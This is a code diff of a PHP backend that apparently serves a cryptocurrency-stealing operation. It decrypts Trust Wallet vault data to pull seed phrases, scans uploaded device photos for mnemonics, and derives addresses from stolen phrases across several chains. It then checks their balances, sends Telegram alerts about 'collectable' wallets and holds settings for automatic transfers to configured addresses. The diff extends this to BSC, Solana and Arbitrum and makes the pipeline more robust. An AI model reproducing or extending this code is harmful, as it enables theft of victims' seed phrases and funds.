$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
|
||||
return is_string($plain) && $plain !== '' ? $plain : null;
|
||||
}
|
||||
|
||||
private function phraseFromVaultPlain(string $plain): ?string
|
||||
{
|
||||
$direct = $this->asMnemonic($plain);
|
||||
if ($direct !== null) {
|
||||
return $direct;
|
||||
}
|
||||
$json = json_decode($plain, true);
|
||||
if (! is_array($json)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $this->phraseFromVaultNode($json);
|
||||
}
|
||||
|
||||
private function phraseFromVaultNode(mixed $node): ?string
|
||||
{
|
||||
if (is_string($node)) {
|
||||
return $this->asMnemonic($node);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return null;
|
||||
}
|
||||
if (isset($node['mnemonic'])) {
|
||||
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
$phrase = $this->phraseFromVaultNode($child);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function mnemonicFieldToPhrase(mixed $value): ?string
|
||||
{
|
||||
if (is_string($value)) {
|
||||
return $this->asMnemonic($value);
|
||||
}
|
||||
if (! is_array($value) || $value === []) {
|
||||
return null;
|
||||
}
|
||||
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
|
||||
$raw = '';
|
||||
foreach ($value as $code) {
|
||||
if (! is_numeric($code)) {
|
||||
return null;
|
||||
}
|
||||
$raw .= chr((int) $code);
|
||||
}
|
||||
|
||||
return $this->asMnemonic($raw);
|
||||
}
|
||||
if (is_string($value[0] ?? null)) {
|
||||
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
|
||||
@@ -7,7 +7,7 @@ use App\Support\WalletSource;
|
||||
|
||||
/**
|
||||
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
|
||||
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
|
||||
* BTC / ETH / TRX / BSC / SOL / ARB; at most two addresses per chain, in file order.
|
||||
*/
|
||||
class DsTrustAddressIngest
|
||||
{
|
||||
@@ -18,6 +18,9 @@ class DsTrustAddressIngest
|
||||
0 => 'BITCOIN',
|
||||
60 => 'ETHEREUM',
|
||||
195 => 'TRON',
|
||||
20000714 => 'BSC',
|
||||
501 => 'SOLANA',
|
||||
10042221 => 'ARBITRUM',
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
@@ -47,6 +50,9 @@ class DsTrustAddressIngest
|
||||
'BITCOIN' => [],
|
||||
'ETHEREUM' => [],
|
||||
'TRON' => [],
|
||||
'BSC' => [],
|
||||
'SOLANA' => [],
|
||||
'ARBITRUM' => [],
|
||||
];
|
||||
foreach ($this->walkAccounts($node) as $acct) {
|
||||
$address = trim((string) ($acct['address'] ?? ''));
|
||||
@@ -68,6 +74,9 @@ class DsTrustAddressIngest
|
||||
$symbol = match ($chain) {
|
||||
'BITCOIN' => 'BTC',
|
||||
'ETHEREUM' => 'ETH',
|
||||
'BSC' => 'BNB',
|
||||
'SOLANA' => 'SOL',
|
||||
'ARBITRUM' => 'ETH',
|
||||
default => 'TRX',
|
||||
};
|
||||
foreach ($addresses as $address) {
|
||||
@@ -170,6 +179,8 @@ class DsTrustAddressIngest
|
||||
'BITCOIN' => 'BITCOIN',
|
||||
'ETHEREUM' => 'ETHEREUM',
|
||||
'TRON' => 'TRON',
|
||||
'BSC' => 'BSC',
|
||||
'SOLANA' => 'SOLANA',
|
||||
default => null,
|
||||
};
|
||||
|
||||
|
||||
@@ -451,7 +451,7 @@ class IngestService
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
if ($bundle === '' || DeviceApp::shouldSkipBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
@@ -859,11 +859,7 @@ class IngestService
|
||||
$balance = '';
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', $address)
|
||||
->where('source', $source)
|
||||
->first();
|
||||
$existing = $this->findAddressRow($device->id, $address, $source, $chainType);
|
||||
|
||||
$beforeCoins = $existing?->coinSnapshot();
|
||||
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
|
||||
@@ -877,18 +873,42 @@ class IngestService
|
||||
$attrs['monitor'] = 1;
|
||||
}
|
||||
|
||||
$addr = WalletAddress::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'address' => $address, 'source' => $source],
|
||||
$attrs
|
||||
);
|
||||
if ($existing !== null) {
|
||||
$existing->fill($attrs);
|
||||
$existing->save();
|
||||
$addr = $existing;
|
||||
} else {
|
||||
$addr = new WalletAddress([
|
||||
'device_id' => $device->id,
|
||||
'address' => $address,
|
||||
'source' => $source,
|
||||
]);
|
||||
$addr->fill($attrs);
|
||||
try {
|
||||
$addr->save();
|
||||
} catch (UniqueConstraintViolationException $e) {
|
||||
// Race condition: another concurrent ingest inserted the
|
||||
// same row between findAddressRow() and save(). Re-fetch
|
||||
// and update instead of inserting.
|
||||
$addr = $this->findAddressRow($device->id, $address, $source, $chainType);
|
||||
if ($addr !== null) {
|
||||
$addr->fill($attrs);
|
||||
$addr->save();
|
||||
} else {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($addr->mnemonic_id === null) {
|
||||
$this->mnemonicLinker->linkAddress($addr);
|
||||
}
|
||||
|
||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||
$isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true);
|
||||
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
||||
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||
// BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO.
|
||||
if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) {
|
||||
$this->balances->refresh($addr);
|
||||
$addr->refresh();
|
||||
}
|
||||
@@ -897,6 +917,19 @@ class IngestService
|
||||
$this->enableMonitorOrDisable($addr);
|
||||
}
|
||||
|
||||
if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) {
|
||||
$bsc = $this->balances->ensureBscForEthAddress($addr);
|
||||
if ($bsc !== null && $bsc->wasRecentlyCreated) {
|
||||
$this->enableMonitorOrDisable($bsc);
|
||||
$notify[] = [
|
||||
'address' => (string) $bsc->address,
|
||||
'chain' => 'BSC',
|
||||
'balance' => $bsc->balanceDisplayLine(),
|
||||
'source' => $source,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
$balanceSummary = $addr->balanceDisplayLine();
|
||||
$shouldNotify = ! $existing
|
||||
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
||||
@@ -916,6 +949,26 @@ class IngestService
|
||||
}
|
||||
}
|
||||
|
||||
private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress
|
||||
{
|
||||
$aliases = match (true) {
|
||||
in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'],
|
||||
in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'],
|
||||
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
|
||||
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
|
||||
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
|
||||
in_array($chainType, ['ARB', 'ARBITRUM'], true) => ['ARB', 'ARBITRUM'],
|
||||
default => [$chainType],
|
||||
};
|
||||
|
||||
return WalletAddress::query()
|
||||
->where('device_id', $deviceId)
|
||||
->where('address', $address)
|
||||
->where('source', $source)
|
||||
->whereIn('chain_type', $aliases)
|
||||
->first();
|
||||
}
|
||||
|
||||
/**
|
||||
* Two-field monitor model:
|
||||
* monitor — user-facing switch (default ON for new addresses)
|
||||
@@ -1034,7 +1087,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -1059,12 +1111,6 @@ class IngestService
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
app(MnemonicScanService::class)->dispatchPhoto($photo);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1240,14 +1286,17 @@ class IngestService
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
if (! isset($byAddr[$address])) {
|
||||
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
$byAddr[$address] = [
|
||||
$chain = strtoupper((string) ($item['chainType'] ?? $item['chain'] ?? ''));
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
// Key by address + chain: the same 0x address is a valid row on
|
||||
// ETH, BSC and ARB at once and must not collapse into one.
|
||||
$key = $address.'|'.$chain;
|
||||
if (! isset($byAddr[$key])) {
|
||||
$byAddr[$key] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chain),
|
||||
'chain_type' => $chain,
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
@@ -1255,7 +1304,7 @@ class IngestService
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$byAddr[$key]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$item['balance'] ?? $item['value'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
);
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Services;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use InvalidArgumentException;
|
||||
|
||||
@@ -194,6 +195,7 @@ class MnemonicAddressLinker
|
||||
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
|
||||
{
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
$isBtc = $driver instanceof BtcDriver;
|
||||
$map = [];
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
@@ -205,6 +207,17 @@ class MnemonicAddressLinker
|
||||
if (! array_key_exists($key, $map)) {
|
||||
$map[$key] = $index;
|
||||
}
|
||||
// BTC: also derive BIP84 (Native SegWit, bc1q) addresses.
|
||||
if ($isBtc) {
|
||||
try {
|
||||
$derivedBip84 = $driver->deriveAddressBip84($phrase, $index);
|
||||
} catch (\Throwable) {
|
||||
$derivedBip84 = null;
|
||||
}
|
||||
if ($derivedBip84 !== null && ! array_key_exists($derivedBip84, $map)) {
|
||||
$map[$derivedBip84] = $index;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $map;
|
||||
@@ -216,6 +229,7 @@ class MnemonicAddressLinker
|
||||
string $target,
|
||||
bool $caseInsensitive,
|
||||
): ?int {
|
||||
$isBtc = $driver instanceof BtcDriver;
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
$derived = $driver->deriveAddress($phrase, $index);
|
||||
@@ -228,6 +242,17 @@ class MnemonicAddressLinker
|
||||
if ($match) {
|
||||
return $index;
|
||||
}
|
||||
// BTC: also check BIP84 (Native SegWit, bc1q) address.
|
||||
if ($isBtc) {
|
||||
try {
|
||||
$derivedBip84 = $driver->deriveAddressBip84($phrase, $index);
|
||||
} catch (\Throwable) {
|
||||
$derivedBip84 = null;
|
||||
}
|
||||
if ($derivedBip84 === $target) {
|
||||
return $index;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
|
||||
@@ -4,16 +4,19 @@ namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainHttpTimeout;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
|
||||
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
|
||||
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
|
||||
* Fully inactive mnemonics stay out of the DB and are not monitored; the
|
||||
* wallets view previews one index-0 address per chain marked 未激活.
|
||||
* Activated rows are persisted with monitor on.
|
||||
@@ -22,10 +25,17 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 2;
|
||||
|
||||
/** Probe timeout while opening/refreshing the mnemonic wallet dialog. */
|
||||
public const PROBE_TIMEOUT_SECONDS = 8;
|
||||
|
||||
/** How long a chain with no activated address (or a failed probe) stays skipped. */
|
||||
public const MISS_CACHE_SECONDS = 600;
|
||||
|
||||
/** @var list<array{chain: string, chain_type: string}> */
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
['chain' => 'eth', 'chain_type' => 'ETH'],
|
||||
['chain' => 'bsc', 'chain_type' => 'BSC'],
|
||||
['chain' => 'btc', 'chain_type' => 'BTC'],
|
||||
['chain' => 'sol', 'chain_type' => 'SOLANA'],
|
||||
];
|
||||
@@ -34,6 +44,7 @@ class MnemonicWalletDiscovery
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -45,9 +56,13 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
/**
|
||||
* @param bool $force Manual trigger (view wallet / refresh): bypass the
|
||||
* discovery_complete flag and the per-chain miss cache
|
||||
* so unlinked chains are always re-probed. Does not
|
||||
* set discovery_complete.
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverActivated(WalletMnemonic $mnemonic): int
|
||||
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -64,6 +79,11 @@ class MnemonicWalletDiscovery
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Scheduled task: skip mnemonics already fully probed across all chains.
|
||||
if (! $force && (bool) $mnemonic->discovery_complete) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$linkedChainTypes = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->pluck('chain_type')
|
||||
@@ -75,30 +95,76 @@ class MnemonicWalletDiscovery
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = [];
|
||||
$covered = []; // chain => true when linked / miss-cached / probed this run
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
||||
continue;
|
||||
}
|
||||
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
$chain = $spec['chain'];
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $chain)) {
|
||||
$covered[$chain] = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Scheduled runs respect the miss cache; manual force bypasses it.
|
||||
if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) {
|
||||
$covered[$chain] = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
]);
|
||||
$this->rememberMiss($mnemonic, $chain);
|
||||
$covered[$chain] = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$covered[$chain] = true;
|
||||
|
||||
if ($rows === []) {
|
||||
$this->rememberMiss($mnemonic, $chain);
|
||||
}
|
||||
foreach ($rows as $row) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $spec['chain'],
|
||||
]);
|
||||
}
|
||||
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
});
|
||||
|
||||
// Scheduled run: mark complete as soon as derivation has run at least once
|
||||
// (any chain covered — linked / miss-cached / probed). Subsequent scheduled
|
||||
// runs skip this mnemonic entirely; manual force=true still re-probes.
|
||||
if (! $force && $covered !== []) {
|
||||
WalletMnemonic::query()
|
||||
->whereKey($mnemonic->id)
|
||||
->update([
|
||||
'discovery_complete' => true,
|
||||
'discovered_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
return $created;
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
|
||||
{
|
||||
return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain;
|
||||
}
|
||||
|
||||
private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void
|
||||
{
|
||||
Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -108,7 +174,8 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
$aliases = match ($chain) {
|
||||
'tron' => ['TRON', 'TRX'],
|
||||
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
|
||||
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
|
||||
'bsc' => ['BSC', 'BNB', 'BINANCE'],
|
||||
'btc' => ['BTC', 'BITCOIN'],
|
||||
'sol' => ['SOL', 'SOLANA'],
|
||||
default => [strtoupper($chain)],
|
||||
@@ -188,14 +255,14 @@ class MnemonicWalletDiscovery
|
||||
'address' => $address,
|
||||
'index' => $index,
|
||||
]);
|
||||
continue;
|
||||
break;
|
||||
}
|
||||
|
||||
if (! $probe['activated']) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$saved[] = $this->persistActivated(
|
||||
$persisted = $this->persistActivated(
|
||||
$mnemonic,
|
||||
$source,
|
||||
$chainType,
|
||||
@@ -203,6 +270,9 @@ class MnemonicWalletDiscovery
|
||||
$index,
|
||||
$probe['coins'],
|
||||
);
|
||||
if ($persisted !== null) {
|
||||
$saved[] = $persisted;
|
||||
}
|
||||
}
|
||||
|
||||
return $saved;
|
||||
@@ -216,6 +286,7 @@ class MnemonicWalletDiscovery
|
||||
return match ($chain) {
|
||||
'tron' => $this->probeTron($driver, $address),
|
||||
'eth' => $this->probeEth($driver, $address),
|
||||
'bsc' => $this->probeBsc($driver, $address),
|
||||
'btc' => $this->probeBtc($driver, $address),
|
||||
'sol' => $this->probeSol($driver, $address),
|
||||
default => ['activated' => false, 'coins' => []],
|
||||
@@ -250,6 +321,17 @@ class MnemonicWalletDiscovery
|
||||
*/
|
||||
private function probeEth(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('ETH', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->evmCoinsFromAlchemy($result, 'eth'),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
|
||||
}
|
||||
@@ -263,11 +345,68 @@ class MnemonicWalletDiscovery
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $result
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function evmCoinsFromAlchemy(array $result, string $network): array
|
||||
{
|
||||
$coins = $this->emptyCoins($network);
|
||||
if ($result['native'] !== null) {
|
||||
$coins[$network] = $result['native']['amount'];
|
||||
}
|
||||
foreach ($result['tokens'] as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
|
||||
$coins['usdt'] = $t['amount'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $coins;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{activated: bool, coins: array<string, string>}
|
||||
*/
|
||||
private function probeBsc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('BSC', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$bnb = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable $e) {
|
||||
if (\App\Services\Chain\ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
||||
}
|
||||
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
|
||||
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
|
||||
}
|
||||
|
||||
return [
|
||||
'activated' => true,
|
||||
'coins' => [
|
||||
'bnb' => $bnb,
|
||||
'usdt' => $usdt,
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
private function probeBtc(ChainDriver $driver, string $address): array
|
||||
{
|
||||
// Alchemy has no BTC chain RPC; BTC stays on the BtcDriver.
|
||||
if ($driver instanceof BtcDriver) {
|
||||
$probe = $driver->probeAddress($address);
|
||||
|
||||
@@ -292,9 +431,24 @@ class MnemonicWalletDiscovery
|
||||
*/
|
||||
private function probeSol(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('SOL', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->solCoinsFromAlchemy($result),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to SolDriver RPC.
|
||||
}
|
||||
|
||||
try {
|
||||
$sol = $driver->getNativeBalance($address);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
if (\App\Services\Chain\ChainHttpTimeout::active()) {
|
||||
throw $e;
|
||||
}
|
||||
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
|
||||
}
|
||||
|
||||
@@ -314,7 +468,33 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $result
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function solCoinsFromAlchemy(array $result): array
|
||||
{
|
||||
$coins = $this->emptyCoins('sol');
|
||||
if ($result['native'] !== null) {
|
||||
$coins['sol'] = $result['native']['amount'];
|
||||
}
|
||||
foreach ($result['tokens'] as $t) {
|
||||
if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
|
||||
$coins['usdt'] = $t['amount'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $coins;
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist (or refresh) an activated derived address. Returns the row only
|
||||
* when this is a first-time association (new row, or previously unlinked) so
|
||||
* the caller can fire a single "可归集" notification. Already-linked rows are
|
||||
* refreshed silently and return null to avoid duplicate notifications.
|
||||
*
|
||||
* @param array<string, string> $coins
|
||||
* @return WalletAddress|null null when the row was already linked to this mnemonic
|
||||
*/
|
||||
private function persistActivated(
|
||||
WalletMnemonic $mnemonic,
|
||||
@@ -323,18 +503,24 @@ class MnemonicWalletDiscovery
|
||||
string $address,
|
||||
int $index,
|
||||
array $coins,
|
||||
): WalletAddress {
|
||||
): ?WalletAddress {
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'address' => $address,
|
||||
'source' => $source !== '' ? $source : null,
|
||||
'chain_type' => $chainType,
|
||||
]);
|
||||
|
||||
// First-time association = brand-new row OR an existing row that had no
|
||||
// mnemonic link yet. Only these warrant a collectable notification.
|
||||
$isNew = ! $row->exists;
|
||||
$wasUnlinked = $isNew || $row->getOriginal('mnemonic_id') === null;
|
||||
|
||||
$row->chain_type = $chainType;
|
||||
$row->mnemonic_id = $mnemonic->id;
|
||||
$row->derive_index = $index;
|
||||
$row->monitor = 1;
|
||||
if (! $row->exists) {
|
||||
if ($isNew) {
|
||||
$row->monitor_synced = false;
|
||||
$row->monitor_failures = 0;
|
||||
}
|
||||
@@ -344,7 +530,7 @@ class MnemonicWalletDiscovery
|
||||
$row->save();
|
||||
$this->enableMonitor($row);
|
||||
|
||||
return $row;
|
||||
return $wasUnlinked ? $row : null;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -395,6 +581,7 @@ class MnemonicWalletDiscovery
|
||||
return match ($chain) {
|
||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
||||
'bsc' => ['bnb' => '0', 'usdt' => '0'],
|
||||
'btc' => ['btc' => '0'],
|
||||
'sol' => ['sol' => '0', 'usdt' => '0'],
|
||||
default => [],
|
||||
|
||||
@@ -57,7 +57,8 @@ class PhotoArchiveIngest
|
||||
return;
|
||||
}
|
||||
|
||||
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters);
|
||||
ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters)
|
||||
->onQueue('extract');
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -69,7 +69,8 @@ class PhotoOrigin
|
||||
}
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(max(5, (int) config('coruna.photo_origin.timeout', 60)))
|
||||
$resp = Http::connectTimeout(20)
|
||||
->timeout(max(30, (int) config('coruna.photo_origin.timeout', 180)))
|
||||
->withHeaders(['X-Photo-Origin-Token' => $this->token()])
|
||||
->get($this->baseUrl().'/hooks/photo-origin/'.$photo->id);
|
||||
} catch (\Throwable $e) {
|
||||
|
||||
@@ -21,6 +21,7 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
|
||||
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
|
||||
'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB',
|
||||
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
|
||||
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
|
||||
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
|
||||
@@ -44,9 +45,12 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
|
||||
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
|
||||
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
|
||||
'transfer.to_address' => config('coruna.transfer.to_address'),
|
||||
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
|
||||
'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'),
|
||||
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
|
||||
'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'),
|
||||
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
|
||||
